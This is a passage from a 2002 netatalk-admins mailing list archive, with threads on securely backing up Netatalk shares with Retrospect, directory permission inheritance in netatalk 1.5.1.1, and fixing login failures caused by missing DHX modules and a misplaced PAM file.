your Netatalk machine's 'root' password somewhere on its filesystem in
order to do the login. This means that you effectively have that password
written down someplace, which increases its chances of
exposure/compromise.

2) The password would need to be sent to the Netatalk server over the
network, and while the channel would be encrypted (so long as you're using
a fairly recent AppleTalk client), a hijacked server on the Unix end could
be made to cough up that password to interlopers (see any number of
arguments in favor of asymmetric-key-based authentication -- there's a
good explanation on www.openssh.org, I think...).

[Warning: neither I nor anyone I represent assumes any responsibility for
any loss or damage that occures resulting directly or indirectly from the
proposals contained in this email message. Unless you contract me to do
work. Then it's a different story. ;-)]

How about this:

First, make a user called 'retrospect' with some awful password that
you can use in a retrieval script, and no login shell; under RedHat, this
would be done as such:

	[root@benzene root]# useradd retrospect -s /bin/false

Then, there are two options:

1) Duelling cron Jobs
[Caveat: this creates a race condition. You are timesync-ing your clocks,
right?]

a) Netatalk machine runs a cron in the middle of the night that tars up
your target directories, places them in ~retrospect/, chowns them to
retrospect:retrospect, and chmods them to 0600, such that you wind up with
something like this:

/home/retrospect:
-rw-------    1 retrospe      retrospe   34110867 Feb 13 03:15 backups.tar

b) soon after, once you're sure the backup will be done on the Netatalk
machine, Retrospect machine runs its timed job, logs into Netatalk machine 
as 'retrospect', snags that file, and deletes it.

The drawbacks: 1) there's that nasty race condition -- if for any reason
the Netatalk machine isn't finishing tarring the target directories when
Retrospect comes looking for its backup file, you'll get an incomplete
backup on your Retrospect machine, and it might delete the archive out
from under the ongoing tar process; and 2) all your users' backups are
sitting, for a time, in the home directory of another user who can log in
via AppleTalk.

To get around the race condition, see option #2, below. As far as the
backups sitting on the filesystem with "sub-root" ownership well, if
you're going to be moving them with AppleTalk, I can't think of another
way.


2) Scripted, tightly-restricted SSH control of the process

I won't detail this here, since it's a fairly (*ahem*) information-rich
topic (read: difficult to explain with any brevity), but you could script
an SSH client on the Retrospect machine (running MacOS? AppleScript should
be able to handle this) to use "single-purpose keys" -- keys that can only
do one thing once logged in -- to login as 'root' to the Netatalk machine
and coordinate the process. Advantages? Decently secure, since only root
is able to work with the backup archive; no race condition, since one
machine can run the steps in sequence. Drawbacks? Somewhat complex setup,
plus now you've got to guard your Retrospect machine jealously as it now
contains keys that can be used to log into the Netatalk machine as 'root'
and work with backups (but not do anything else). If you're already
superparanoid about your Retrospect machine, though, this probably isn't a
stretch.

Write to me off-list if you'd like specifics about this process. I'm
working on a package ("Sauropod") that is already running this sort of
thing: a Linux machine with a tape drive runs it and can back up other
*NIX machines via SSH/2 or NFS, and Novell fileservers. Probably SMB
(Windows) and AppleTalk soon, too. (I'm working it up with a plug-in
acrhitecture.)

Good luck, and best regards to all the folks who make this list a great
resource for a great product.

-sth

--
Sam Hooker
Computer Audio/Internet Services
hbc, LLC
(802)846-1845
www.hbconcoctions.com

On Wed, 13 Feb 2002, Robert Thiemann wrote:

> hey All,
> 
> It's the resident netatalk newbie here.
> 
> I'm coming from an NT Server and moving to Linux. Our shares were set 
> up a little differently on the NT side. For example, we have a share 
> called "Faculty" that looks like this:
> 
> Faculty
> |->jdoe
> |->sdavis
> |->rmaster
> 
> And what I had before was (the glory of NT's ACLs) the Faculty 
> folders set with permissions so that the individual faculty member 
> had owner privileges, none of the other faculty had access to another 
> faculty's folder, and the BackUp admin had full rights to the root 
> Faculty share, and every subsequent folder.
> 
> Under Linux, i've got it set up so that when Faculty log in, they get 
> their home directories exported as a share from a structure that 
> looks like this:
> 
> /home
>     /shares
>        /faculty
>           drwx------   jdoe faculty      4096 Feb 13 10:53 jdoe
>           drwx------   sdavis faculty      4096 Feb 13 10:53 sdavis
>           drwx------   rmaster faculty      4096 Feb 13 10:53 rmaster
> 
> So I need to back this thing up, and since I'm using Retrospect ( the 
> only thing I've found that safely stores the Mac file info, resource 
> fork, etc.)
> 
> I'm thinking what I could do is create a .AppleVolumes file for root, 
> and export out a raw share for the root of the Faculty directory, 
> which will then let retrospect go in and grab whatever files need to 
> be grabbed without regard to permissions.
> 
> Is there any major drawback to maintaining a login via AppleShare as 
> root that way? (the Backup server is separate from our file server).
> 
> This isn't the only directory I'll need to do this one. There's about 
> four others too. And it'll make life a lot easier for me since 
> Retrospect will grab additions to the folders within that share 
> without me having to constantly having to modify the backup sets.
> 
> So, other than having a user with way too much power logged in, is 
> there any reason I shouldn't do this?
> 
> Anyone have a better solution?
> 
> 
> -- 
> Robert Thiemann
> Network Engineer
> VCU Adcenter
> rethiema@vcu.edu
> 



From netatalk.administrators-errors@umich.edu  Thu Feb 14 12:35:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA08428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 12:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA00135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 12:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA00125
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 12:35:35 -0500 (EST)
Received: from st-hubbins.hbconcoctions.com (ptr-64-30-11-162.hbconcoctions.com [64.30.11.162] (may be forged))
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA29967
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 12:35:23 -0500 (EST)
From: sth@hbconcoctions.com
Received: from ptr-64-30-11-194.hbconcoctions.com (ptr-64-30-11-194.hbconcoctions.com [64.30.11.194] (may be forged))
	by st-hubbins.hbconcoctions.com (8.9.3/8.9.3) with ESMTP id MAA26903
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 12:35:20 -0500
Date: Thu, 14 Feb 2002 12:35:20 -0500 (EST)
To: netatalk-admins@umich.edu
Subject: Re: Backing up a Netatalk share.
In-Reply-To: <Pine.LNX.4.10.10202141047210.23388-100000@st-hubbins.hbconcoctions.com>
Message-ID: <Pine.LNX.4.10.10202141234080.23388-100000@st-hubbins.hbconcoctions.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> resource forks live). My backups like on a Linux server, so tar makes

Stupid fingers: "My backups liVe on a Linux server..."

*drat*

-sth

--
Sam Hooker
Computer Audio/Internet Services
hbc, LLC
(802)846-1845
www.hbconcoctions.com


From netatalk.administrators-errors@umich.edu  Thu Feb 14 13:08:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA09637
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 13:08:30 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA03266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 13:08:30 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA03247
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 13:08:29 -0500 (EST)
Received: from server-7.tower-15.messagelabs.com (mail15.messagelabs.com [63.210.62.243])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA03231
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 13:08:28 -0500 (EST)
X-VirusChecked: Checked
Received: (qmail 22064 invoked from network); 14 Feb 2002 18:08:26 -0000
Received: from mail.vibe.com (HELO vibe.com) (65.105.250.196)
  by server-7.tower-15.messagelabs.com with SMTP; 14 Feb 2002 18:08:26 -0000
Received: from [65.105.250.198] (HELO stuarthaaswxp)
  by vibe.com (CommuniGate Pro SMTP 3.5.4)
  with ESMTP-TLS id 1141790; Thu, 14 Feb 2002 13:08:19 -0500
Message-ID: <048a01c1b582$455d6890$c500a8c0@stuarthaaswxp>
From: "Stuart Haas" <shaas@vibe.com>
To: <netatalk-admins@umich.edu>
Cc: <netatalk-devel@lists.sourceforge.net>
References: <20020213193747.A1335@media.umbc.edu>
Subject: Re: Directories are created with...unexpected permissions
Date: Thu, 14 Feb 2002 13:06:05 -0500
Organization: Vibe/Spin Ventures
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Hi -

I have been having the same problem since I upgraded to 1.5.1.1 from the RPM
a couple of days ago.  I am running the Redhat 7.2, kernel 2.4.18 Pre9, with
the directories mounted on a Reiserfs partition.

It is not a Linux problem, as permissions on a directory are inherited
properly from a shell prompt, but from a Mac, the permissions are not
inherited.  And this is really creating problems among users.

I have been running netatalk 1.5 pre 6 for months with no permissions
problems.

Any clues?

Stuart


----- Original Message -----
From: "Ray Shaw" <ray@media.umbc.edu>
To: <netatalk-admins@umich.edu>
Sent: Wednesday, February 13, 2002 7:37 PM
Subject: Directories are created with...unexpected permissions


>
> In the hopes of working around Quark (I think you know what I mean), I
> recently updated our server to netatalk 1.5.1.1 (it was running an old
> asun version).  In this respect, things seem to be much better now.
>
> However, I'm having a problem with directory creation.  All of the
> directories on the shared bit of the server are mode 2770.  IIRC,
> netatalk previously created directories beneath these with the same
> permissions.  This is still what happens if I create directories from
> the command line.
>
> But if I create directories (using the same account) with
> netatalk, they are mode 0770, meaning that files or directories inside
> them don't inherit the correct group, and creating access problems
> (like the production assistants unable to get at directories created
> by the Photo Editor).
>
> Have other people run into this problem?  Is there a good solution?
> I'm running Debian Potato, and compiled netatalk 1.5.1.1 with the
> following options:
>
> ./configure --enable-fhs --enable-timelord --enable-lastdid
> --with-flock-locks --with-tcp-wrappers
>
> Thanks,
>
>
> --
> --Ray
>
> -----------------------------
> Sotto la panca la capra crepa
> sopra la panca la capra campa
>
>
> This email has been scanned for all viruses by the MessageLabs SkyScan
service. http://www.messagelabs.com/
>


This email has been scanned for all viruses by the MessageLabs SkyScan service. http://www.messagelabs.com/

From netatalk.administrators-errors@umich.edu  Thu Feb 14 14:40:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA14939
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 14:40:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA12457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 14:40:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA12432
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 14:40:12 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA12367
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 14:40:10 -0500 (EST)
Received: from host213-122-42-233.in-addr.btopenworld.com ([213.122.42.233] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bRjj-00023k-00; Thu, 14 Feb 2002 19:40:07 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id TAA09417;
	Thu, 14 Feb 2002 19:15:40 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100330b891bbb16c5e@[10.0.1.10]>
In-Reply-To: <200202141757.AA393448@samplezone.ch>
References: <200202141757.AA393448@samplezone.ch>
X-Mailer: Eudora for Macintosh!
Date: Thu, 14 Feb 2002 19:15:37 +0000
To: <rolf@samplezone.ch>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in
Cc: Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

This all seems a bit major. Netatalk's refusal to allow any login 
other that guest makes it useless for me at the moment. Please, who 
is actually compiling 1.5.1.1 and getting it to successfully work. 
Perhaps you could assist us in choosing the correct configure options 
or whatever the solution may be. My Mandrake rpm did at least work so 
it is possible.

There seem to be some issues with the compilation (or not) of the 
uams. Rolf and I both found that the dhx uams hadn't been made. 
Anyone any ideas what's occurring here?



At 5:57 pm +0100 14/2/02, Rolf Schoepfer wrote:
>First I had a problem, that some uams where missing ( also dhx ). 
>After some help from Thomas Kaiser I found out, that compiling more 
>than once didn't work in netatalk source. I changed some configure 
>parameter, but it didn't seem to change. Solution: tar xvf before 
>every next compilation. After I did it like that, uam_dhx.so was 
>there and error messages in syslog were gone.
>But still, Password won't be accepted. To solve this problem, deep 
>knowledge of authentication is needed. Once we know that, maybe it's 
>possible to set right configure parameters.

-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb 14 14:47:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA15277
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 14:47:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA17918
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 14:47:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA17914
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 14:47:10 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA17904
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 14:47:09 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1EJl5i18099;
	Thu, 14 Feb 2002 11:47:05 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 11:47:05 -0800
Subject: Re: logging in
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8915439.B2DC%sflist@ihonk.com>
In-Reply-To: <p05100325b8918a87df2f@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Ken,

Why don't you rip out the previous Netatalk installation and reinstall, and
this time do this:

[yadda@blah]$ ./configure --enable-redhat \
              --prefix=/usr/local/netatalk-1.5.1.1

Then make, make install, and see what happens. The way to tell whether afpd
has loaded the proper UAM is to do this command:

[yadda@blah]$ lsof | grep afpd

And see if the UAM you want shows up in the list.

> I thought that you needed to specify which uams you wanted to use
> (and other things) on the configure command line.

I don't believe so. If Netatalk's defaults don't work, you need to specify
the back end authentication (like if you don't want to use PAM), but that is
all about the server side of the authentication, not the client side, which
is where the UAMs come in.

> I am very unclear when the uams ought to be specified. There is an
> option to specify these in netatalk.conf and in afpd.conf. What is
> the significance of the 2 places and why also what about the
> configure command line? Why not compile them all and make them all
> available to be chosen at run time, in one of the above files.

That's what should have happened. And you shouldn't need to make any tweaks
at all after installation in order for DHX to work.

> I did find that I didn't get guest login if i didn't include that in
> the netatalk.conf uamlist, but I've not changed anything else since
> replacing the Mandrake rpm with my compiled version. It seems to me
> it could be related to paths since the source I used specifies
> different paths to Mandrake.

Did you uninstall the Mandrake RPM?

Steve


From netatalk.administrators-errors@umich.edu  Thu Feb 14 14:49:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA15375
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 14:49:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA02250
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 14:49:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA02221
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 14:49:51 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA02001
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 14:49:41 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1EJnYi18103;
	Thu, 14 Feb 2002 11:49:34 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 11:49:33 -0800
Subject: Re: logging in
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>, <rolf@samplezone.ch>
CC: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B89154CC.B2DD%sflist@ihonk.com>
In-Reply-To: <p05100330b891bbb16c5e@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

>> Solution: tar xvf before
>> every next compilation. After I did it like that, uam_dhx.so was
>> there and error messages in syslog were gone.

That's right, good point. Ken, start with a fresh source tree before you
recompile.

Steve


From netatalk.administrators-errors@umich.edu  Thu Feb 14 14:51:43 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA15512
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 14:51:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA25709
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 14:51:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA25688
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 14:51:42 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA25652
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 14:51:41 -0500 (EST)
Received: (qmail 15664 invoked by alias); 14 Feb 2002 19:49:26 -0000
Received: (qmail 15645 invoked from network); 14 Feb 2002 19:49:26 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 14 Feb 2002 19:49:26 -0000
Subject: Re: logging in
From: Matthew Keller <kellermg@potsdam.edu>
To: Ken Gillett <keng@BTInternet.com>
Cc: rolf@samplezone.ch, Netatalk List <netatalk-admins@umich.edu>
In-Reply-To: <p05100330b891bbb16c5e@[10.0.1.10]>
References: <200202141757.AA393448@samplezone.ch> 
	<p05100330b891bbb16c5e@[10.0.1.10]>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 14 Feb 2002 14:51:37 -0500
Message-Id: <1013716297.2885.109.camel@comp10574>
Mime-Version: 1.0

configure --with-pam --with-shadow works just ducky for me on a myriad
of different Linux distros and versions (though not Mandrake).


On Thu, 2002-02-14 at 14:15, Ken Gillett wrote:
> This all seems a bit major. Netatalk's refusal to allow any login 
> other that guest makes it useless for me at the moment. Please, who 
> is actually compiling 1.5.1.1 and getting it to successfully work. 
> Perhaps you could assist us in choosing the correct configure options 
> or whatever the solution may be. My Mandrake rpm did at least work so 
> it is possible.
> 
> There seem to be some issues with the compilation (or not) of the 
> uams. Rolf and I both found that the dhx uams hadn't been made. 
> Anyone any ideas what's occurring here?
> 
> 
> 
> At 5:57 pm +0100 14/2/02, Rolf Schoepfer wrote:
> >First I had a problem, that some uams where missing ( also dhx ). 
> >After some help from Thomas Kaiser I found out, that compiling more 
> >than once didn't work in netatalk source. I changed some configure 
> >parameter, but it didn't seem to change. Solution: tar xvf before 
> >every next compilation. After I did it like that, uam_dhx.so was 
> >there and error messages in syslog were gone.
> >But still, Password won't be accepted. To solve this problem, deep 
> >knowledge of authentication is needed. Once we know that, maybe it's 
> >possible to set right configure parameters.
> 
> -- 
> 
> 
> 
> Ken  G i l l e t t
> 
> _/_/_/_/_/_/_/_/_/
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Feb 14 14:57:16 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA15793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 14:57:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA12625
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 14:57:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA12606
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 14:57:15 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA12569
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 14:57:14 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1EJv7i24910;
	Thu, 14 Feb 2002 11:57:07 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 11:57:06 -0800
Subject: Re: logging in
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>, <rolf@samplezone.ch>
CC: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B8915692.B2E0%sflist@ihonk.com>
In-Reply-To: <p05100330b891bbb16c5e@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Oh, and by the way, the reason you don't need to specify --with-shadow on
the configure line is because Netatalk defaults to using PAM, and your PAM
is in turn set to use /etc/shadow.

Steve


From netatalk.administrators-errors@umich.edu  Thu Feb 14 17:01:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA25191
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 17:01:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA19299
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 17:01:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA19281
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 17:01:23 -0500 (EST)
Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA19084
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 17:01:17 -0500 (EST)
Received: from host213-122-27-25.in-addr.btopenworld.com ([213.122.27.25] helo=nexus.local.net)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16bTvz-0007TW-00; Thu, 14 Feb 2002 22:00:55 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id VAA10728;
	Thu, 14 Feb 2002 21:05:24 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100334b891d497464a@[10.0.1.10]>
In-Reply-To: <B8915692.B2E0%sflist@ihonk.com>
References: <B8915692.B2E0%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Thu, 14 Feb 2002 21:05:22 +0000
To: Steve Freitas <sflist@ihonk.com>, <rolf@samplezone.ch>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in - finally
Cc: Netatalk List <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:49 am -0800 14/2/02, Steve Freitas wrote:
>
>That's right, good point. Ken, start with a fresh source tree before you
>recompile.


I can't see why you can't 'make clean' before re-compiling?

The [src]etc/uams/.deps folder has empty files for the random and dhx 
uams which I guess explains why they don't get compiled, but why did 
configure do that when I specified 'with-shadow'?


>Did you uninstall the Mandrake RPM?


Yup. I'm not running a Mandrake distro, but they had an rpm that 
installed quite happily on my LPPC install.


>Oh, and by the way, the reason you don't need to specify --with-shadow on
>the configure line is because Netatalk defaults to using PAM, and your PAM
>is in turn set to use /etc/shadow.


Well I can happily report that it is now fixed. I found that there 
was NO /etc/pam.d/netatalk file. It had been installed as 
/etc/pam.d/etc/pam.d/netatalk. Not sure how configure got that wrong, 
but when I moved it to the appropriate location all works perfectly - 
so far.

Is this your problem Rolf?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Thu Feb 14 17:38:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id RAA28428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 17:38:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA03084
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 17:38:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA03061
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 17:38:25 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA03010
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 17:38:24 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1EMcIi03006;
	Thu, 14 Feb 2002 14:38:18 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 14 Feb 2002 14:38:18 -0800
Subject: Re: logging in - finally
From: Steve Freitas <sflist@ihonk.com>
To: Ken Gillett <keng@btinternet.com>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8917C5A.B2EC%sflist@ihonk.com>
In-Reply-To: <p05100334b891d497464a@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I can't see why you can't 'make clean' before re-compiling?

There's a known problem with make clean/mrproper, etc., that is not easily
solvable, from what I understand.

> The [src]etc/uams/.deps folder has empty files for the random and dhx
> uams which I guess explains why they don't get compiled, but why did
> configure do that when I specified 'with-shadow'?

I'm not sure... I don't know the code.

Glad you got the problem fixed. I've forwarded your comments out that file
mislocation to the developers.

Steve


From netatalk.administrators-errors@umich.edu  Thu Feb 14 19:28:32 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA08077
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 14 Feb 2002 19:28:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA18010
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 14 Feb 2002 19:28:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA17999
	for netatalk.administrators-members@umich.edu; Thu, 14 Feb 2002 19:28:32 -0500 (EST)
Received: from acad2.drake.edu (acad2.drake.edu [207.28.190.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA17982
	for <netatalk-admins@umich.edu>; Thu, 14 Feb 2002 19:28:31 -0500 (EST)
Received: from CONVERSION-DAEMON.DRAKE.EDU by DRAKE.EDU (PMDF V6.1 #38814)
